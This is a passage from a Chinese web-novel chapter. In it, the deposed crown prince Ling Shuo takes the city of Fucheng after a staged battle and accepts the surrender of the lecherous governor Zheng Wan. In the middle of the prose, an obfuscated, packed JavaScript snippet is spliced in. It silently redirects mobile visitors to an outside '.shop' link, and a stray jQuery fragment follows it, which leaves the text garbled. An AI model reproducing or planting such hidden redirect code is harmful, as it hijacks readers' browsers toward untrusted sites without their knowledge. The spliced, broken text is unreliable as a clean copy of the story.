骑兵营的陈四五一身风尘,快步趋至二人跟前,神色凝重:
“上官大人!属下依您先前吩咐,已遣麾下士卒打探郑万虚实,如今已有消息回报!”
身侧,戴也闻言,立马与上官晏昭言:
“昭昭,你去吧,军务要紧。”
上官晏昭颔首,随陈四五归帐议事。
举步数尺,忽又驻足,蓦然回首。
风静人宁,戴也立在原地,目光清和,静静凝望着她离去的背影。
见她回头,便朝她温和一笑。
那是上官晏昭第一次真正意识到戴也的年岁比她还大些,只是戴也平常一直是孩童模样的作态,她时常忘记。
上官晏昭心间微软,扬声唤他:
“也哥哥!”
“你带的‘到口酥’真的很好吃!”
“多谢!”
戴也终是漾开一抹发自肺腑的笑意,心中郁结好似随着语调慢慢散开。
他迎着风、高声回她,语气带了几分洒脱:
“你既不嫁与我,往后便不给你带了,我要留给我的有缘之人!”
“昭昭,你损失不小。”
上官晏昭莞尔一笑。
转身,再不回头,随同与陈四五一道走了。
上官晏昭与陈四五到了帐中。
陈四五垂首,据实以禀所知情报:
“上官大人,士兵从傅城来的流民那儿打听到,傅城判官郑万,贪酷成性,大肆侵占民间田土,转手转租、倒卖田地,赋税徭役还极重。
流民们生计凋敝,他们听闻梁又成大人素有贤明、体恤万民,故而才拖家带口,前来荣城投奔。”
上官晏昭静听沉吟,眸色微凉:
“这些大体从流民的处境都可猜到一二,有没有什么额外的消息。”
陈四五略一思忖,随即恍然:
“确有一桩私事,但并不是秘闻,傅城百姓人尽皆知。
郑万此人极其贪图美色,府里一共有一妻九妾,诸妾来历纷杂,有强夺良家女子纳于后宅的,有自勾栏赎身归入府中的,更有妇人本有夫家,其夫尚在人世,郑万便恃势逼迫恩爱夫妇和离,强夺来充作侍妾的......
其妻吴氏,名净姝,原是傅城乡绅大族吴家的独女。
吴家原是有三个儿子,但都接连病死,待吴净姝的父亲身故之后,郑万便接手了吴家的田地、金银,借着吴家的家底,郑万的仕途也格外地顺畅,一路从县丞做到一城判官。
坐镇一城,权柄在手,在城中,近乎是言出法随。”
上官晏昭眉峰微蹙,心生疑惑:
“县丞?那吴家缘何把独女嫁与郑万?”
“大人有所不知,郑万此人,年少容貌卓绝,风姿俊朗,乃是吴小姐心悦倾心,自主求嫁。”
言罢,陈四五自袖中取出一卷画像:
“大人您看,这是郑万的画像。”
上官晏昭接过画卷徐徐展开。
纸墨虽旧,描摹经年,纵然年岁磋磨、神色添了世故阴翳,亦能窥见年少时的惑人之姿。
陈四五侧身与她一道瞧着。
片刻,一句话便从陈四五那儿幽幽传来:
“容貌诚然不俗,但若较之太子殿下......终究是云泥之别。”
上官晏昭没意识地点了点头:
“嗯......这倒是。”
上官晏昭听到了些声响,转眼望去。
陈四五的腮帮子隐隐绷着,鼻翼微微翕动,憋着一股笑意,眼底有克制不住的雀跃戏谑。
————
两日后,
荣城军号彻地而起,战鼓隆隆,震彻四野。
凌朔亲统半数精锐,奔赴傅城。
一身黑甲映玄袍,人马凛然英武,风骨赫赫。
上官晏昭与樊二牛带领骑兵营跟随护驾。
种有道则奉命驻守荣城,稳守后方,若有不测,及时策应支援。
前军开道,铁骑列阵,玄甲肃然。
不多时,凌朔一干人便兵临傅城下。
凌朔抬眼望去,傅城城垣修葺齐整,楼宇规整,砖石明净,竟比荣城都要气派许多。
一人站在城头,看着披甲而来的凌朔,高声叫嚣:
“废太子凌朔!今上有旨,命臣缉拿乱臣贼子!若你弃械归降,陛下念父子血脉,可留你一条生路!”
高声挑衅的便是郑万,上官晏昭心里想。
凌朔骑着骏马缓缓向前,周围铁骑张弓持盾,层层护持,壁垒森严。
凌朔唇角勾起一抹冷峭弧度,声透凛冽,朗声回道:
“此话该由本宫送还父皇。若他肯禅位息戈、退位安身,本宫念在父子天伦,亦可留他老命!”
“既和解不成,那就只好战场上见分晓了。”
郑万立在城楼,振臂高呼:
“全军列阵,出战!”
城头鼓声震响,傅城兵马应声而出。
凌朔麾下将士不明敌军究竟是否真的投降,一时不敢贸然出击,只持刀凝立,严阵以待。
骑兵营将士尽数挽弓搭箭,弦满待发,为保无虞。
傅城兵气势汹汹冲上来,举着大刀便往凌朔士兵的刀上砍。
但用力极轻,虚招敷衍,全然不曾用力,遑论拼命作战。
凌朔之兵心下领会,双方步兵假意缠斗,刀锋轻撞,铿锵作响,却招招留手。
这般似战非战、似杀非杀的缠斗,足足持续半个时辰。
两军竟无一人负伤、无一滴血落,却打的激烈。
但战场上并非一点声音都没有。
在刀剑相接的间隙,穿着不同军甲的士兵一边互相切磋,一边闲谈。
傅城士卒边虚劈边低语:“哎,你们军营的待遇如何,伙食如何?”
凌朔军卒随口回道:“这几天在路上吃的不怎么样,但是安定下来,也能吃上些好的,尔等俸禄伙食如何?”
傅城兵:“一般性吧,比上不足,比下有余,那待遇呢,钱财发吗,一个月俸禄多少?”
凌朔兵:“我们俸禄很少,这颠沛流离的,活着就不错了。”
傅城兵:“但是太子一旦成功,你们可是有从龙之功啊,这前途无量啊。”
凌朔兵:“那确实是,不然我们怎么会这么卖力地打。”
傅城兵:“那到时兄弟飞黄腾达之际,别忘记提携小弟一把。”
凌朔兵:“哎呀,好说,好说。”
半个时辰虚耗过后,傅城阵中忽然鼓声骤起。
霎时间,所有傅城兵卒如同受令,齐齐踉跄仆地,姿态狼狈,起身之后尽数收兵后撤。
须臾之间,城门之外干干净净,再无一兵一卒。
旷野空旷,风卷旗鸣。
凌朔看着这场滑稽一幕,冷嗤了一声。
“撞城门。”
凌朔沉声下令。
一声令下,士兵便抬着专用的巨木撞向城门。
城门极其轻易地被撞开,似乎从未落锁设防。
“入城!”
凌朔往城门的方向策马前进,将至门洞,忽而勒缰驻足。
他眸光沉敛,扫视四周街巷城楼,戒备森然。
“守好城门,切勿闭合。”
他回眸望向身后的上官晏昭,声线冷静稳肃。
“是。”
上官晏昭领命,率骑兵营扼守城门,长弓在手,箭矢凝锋,目光警惕扫视四方,护住入城通道,以防伏兵偷袭。
凌朔携樊二牛,策马徐行,踏入傅城城中。
郑万早已率城中官吏列队候于道旁。
见凌朔入城,当即屈膝伏地,一众官员紧随跪拜。
“臣傅城判官郑万,率城内文武官吏,拜见太子殿下。”
凌朔驻马俯视,静静凝望阶下跪伏之人,眸光沉沉,无半分温度。
片刻,淡声吩咐曹冲:
“把郑万绑了。”
一语落地,傅城百官尽皆骇然,兵士瞬间握刀戒备,甲叶铿锵,局势骤紧。
唯独郑万神色不惊,俯身沉声传令:
“把刀都放下。”
傅城麾下兵卒迟疑片刻,终究缓缓收刀。
郑万抬臂俯首,姿态顺从,一副引颈待缚、任人处置之态。
曹冲拿着早就准备好的绳结,走到郑万那儿,取绳缠绕,利落结死结,将郑万缚至凌朔马前。
凌朔看着郑万被绑到自己面前。
他将手中刀剑横在郑万的脖颈,锋刃微凉,语气淡淡:
“郑大人似乎毫不意外本宫会这么做。”
颈间锋刃逼人,郑万却神色自若,他颇为镇静地直视凌朔的一双狐眼,了然说道:
“若太子不这么做,恐怕太子也没有这个本事登上帝位。
况且,若太子真想杀我,远处的那位上官大人应该早就将我射杀了吧。她一箭射死脱依古帖儿的壮举,可是威震大宣。太子何必多此一举呢。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799216|209089||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>凌朔微扬唇角,寒意浅浅:
“你还真是聪明啊。”
凌朔撤去了郑万脖颈上架着的长剑:
“说吧,你准备了什么东西跟本宫换自己的性命。
你可想好了,若不能动本宫之心,本宫可不会轻易放了你。
你自己心里清楚,你可有一堆账在本宫这记着呢。”
“来人,将东西推上来。”
郑万高声叫到。
话音落,方才假意交战的傅城士卒,尽数推着木车而至。
车上皆是密封特制木桶,整齐罗列,沉甸甸压车。
这种特制木桶中所贮的,
皆是火药。
体量浩大,数目惊人。
凌朔眸底骤然一沉,心底暗生后怕。
这般储量,若是郑万死守顽抗、尽数引爆,攻城将士一定死伤不小。
郑万伏身叩首:
“太子,这就是臣给您的投名状。”
“臣,郑万携傅城文武百官与将士,真心归降,自此唯太子马首是瞻!”
身后文武官吏、兵卒齐齐伏地,声震长街:
“唯太子殿下马首是瞻!”
长街寂然,无人敢抬头呼吸,等着凌朔的裁决。
良久,凌朔淡淡开口:
“曹冲,松绑。”
“是。”
郑万得释,起身整冠,从容作揖:
“太子殿下一路奔波,下官已然安排好了上好的住房,殿下可先休息,待明日,再行商讨正事,待傅城兵败的消息传到京城,陛下一定会集结各路兵马,围剿殿下......”
“不着急,本宫今日想先到你傅城的漕仓瞧瞧。”
凌朔打断了郑万。
郑万闻言愣了一下,转瞬间,躬身恭顺:
“是,殿下请随下官来。”
凌朔回眸示意,上官晏昭携骑兵将士翻身下马,行至身侧,随其一同前行。
渐近之时,郑万抬眼,猝然看清上官晏昭容貌风姿。
那一刻,他身形微滞,目光全然怔住。
眼前女子银甲飒然,眉目英锐,姿容绝世,眼眸凛冽藏锋芒,风骨凛然带英气。
与他府中一众娇柔闺妾截然不同,是他半生从未见过的清绝气度。
他一双色眼直勾勾地盯着上官晏昭,呼吸明显急促,吞咽了一口。
视线从上官晏昭的眼眸、挺翘的鼻尖、樱桃小嘴、细白脖颈,再到......
一人挡住了他的视线。
郑万窦然察觉到凌朔身上的寒意乍现,视线如飞刀一般甩到他的身上各处。
“我看你是真的活的不耐烦了。”
凌朔眯起狐眼,杀意尽显,满城风止。
郑万骤然回神,一身贪念色心瞬间被彻骨寒意惊散,后背顷刻浸出冷汗。
他并非没有猜到上官晏昭在军中的地位,只是没有想到上官晏昭长的如此貌美。
他又是风流惯了,一时没忍住,才有了生理反应。
眼下被凌朔的眼神怔住,他心下懊悔极至极。
不该。
不该。
郑万慌忙敛下神色,垂首躬身,颤颤巍巍地谢罪:
“臣......臣知罪,臣再也不敢。”
凌朔牙关微紧,终是忍下这口气:
“带路。”
“是。”
郑万不敢再多妄思,恭谨在前引路。
凌朔和上官晏昭一干人便跟着。
大军闯入的是西北门,是硫硝炭库所在地,存放了大量火药。
而漕仓所在地在城中东南处,两地相距甚远,在途中可大致观城中风貌。
因着流民的关系,在深入进入傅城之前,凌朔和上官晏昭皆以为城中会是一片破败之景、百姓民不聊生。
但恰恰相反,城内廛肆井然,街衢洁净,一看便是官员勤于修葺城垣,整饬街市。
郑万一路引路,一路殷勤禀奏,积极进言:
“殿下,你看这街市很是规整,我们每日都会派官员出来巡逻调整,市井市集有序,街坊巡铺、更鼓值守皆都不曾废弛......”
郑万一路介绍着自己的城池,十分尽心尽力,尽职尽责。
一行人穿街过巷,终于,便抵傅城东南漕仓所在之地。
高墙连绵,庄严肃穆。
方至仓外,尚未入门,一阵苍老嘶哑的悲泣声,悠悠从仓院深处传来,凄切悲凉,碎在风里。